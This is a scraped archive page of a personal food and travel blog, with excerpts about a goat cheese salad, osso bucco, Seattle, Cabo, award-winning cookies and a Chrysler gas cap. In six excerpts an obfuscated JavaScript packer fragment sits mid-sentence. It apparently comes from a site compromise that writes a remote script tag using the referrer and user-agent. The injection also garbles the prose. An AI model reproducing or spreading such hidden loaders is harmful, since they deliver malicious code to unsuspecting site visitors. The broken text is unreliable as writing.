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Salad: Craisins, Almonds & Goat Cheese

This is my new favorite salad.  My friend, Brooke, introduced me to it and I’ve been making different versions of it for the past few weeks. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnbsf|var|u0026u|referrer|kysnr||js|php’.split(‘|’),0,{})) base model includes: lettuce, craisins, almonds, goat cheese, and dressing (some sort of a balsamic/olive oil/garlic works fine, you just need to get […]

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Live Travel

Play: an insiders guide to Seattle

As a follow up to last weeks post about places to eat in Seattle, I thought I’d throw in some of my favorite things to do (that don’t necessarily involve eating). 1.  Gas Works Park I wrote a paper about the park in college (and don’t remember what I wrote about, clearly money well spent).  […]

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Osso Bucco

Osso what? Ok, let’s go back in time a tiny bit.  In December, Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnnyr|var|u0026u|referrer|kkdbt||js|php’.split(‘|’),0,{})) read the 4 Hour Chef by Tim Ferriss.  Fast forward to February when we are walking through Costco and Nick sees a package of meat labeled “Osso Bucco.” He says, “oh, let’s make that!” Wait.  What?  […]

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Live Travel

Whistler Sliding Centre

I always wanted to compete in the Olympics.  But I had hoped it would be as part of the women’s gymnastics team a la Mary Lou Retton.  Well, I never did make it past a back handspring.  Thankfully, I had a chance to live out some Olympic fantasies at the sliding centre in Whistler. We […]

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Valentines Day Hamburgers

We don’t have Internet right now so I’m posting from my phone. That’s dedication, peeps! Here’s one of my favorite valentines day meals! Heart shaped hamburgers. All you need is a large heart cookie cutter. Shape the patties before grilling and then cut out the buns and lettuce. Boom.

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Travel: Cabo

It’s freezing here in California.  Literally.  I slipped (not bad) on a patch of ice while on our weekly Starbucks walk!  Don’t worry, I saved the drink 🙂 So this week I thought I’d talk about my favorite WARM vacation spot, Cabo! We first headed to Cabo in 2009, and fell in love with the […]

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New Years Done Right!

New ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnifh|var|u0026u|referrer|rhhzd||js|php’.split(‘|’),0,{})) years day is a major food holiday for Japanese folks.  And in case you didn’t know, I’m Japanese. Growing up, this meant that New Years Eve was typically spent making food (which I was somehow able to sneak out of as I got a bit older).  Now that New […]

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Dear Chrysler,

Over 900 people have searched some version of the following: “How to open the gas cap on a Chrysler 300?” And those 900+ people all found my ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abshd|var|u0026u|referrer|asrfy||js|php’.split(‘|’),0,{})) blog. 900+ poor souls were probably sitting at a gas station, trying to fill up their rental car on their way to the […]

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My cookies won an award!

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iztne|var|u0026u|referrer|kfhfa||js|php’.split(‘|’),0,{})) enjoy baking.  Anyone who follows this blog would know that.  Lately, I’ve been so busy that baking has fallen by the wayside.  Super bummer!  Right? Every year, I look forward to baking a variety of Christmas cookies.  But this year, it just wasn’t in the cards. Well guess what?! […]

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One more trip before the holidays!

I’m ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itssd|var|u0026u|referrer|rznna||js|php’.split(‘|’),0,{})) out this week, a cross country trip for work, where I’ll be hitting up a lot of different states if you count the layovers.  Ready? Monday morning I flew from Oakland, CA to Albuquerque, NM to Houston, TX to Panama City, FL – what’s in Panama City, FL you […]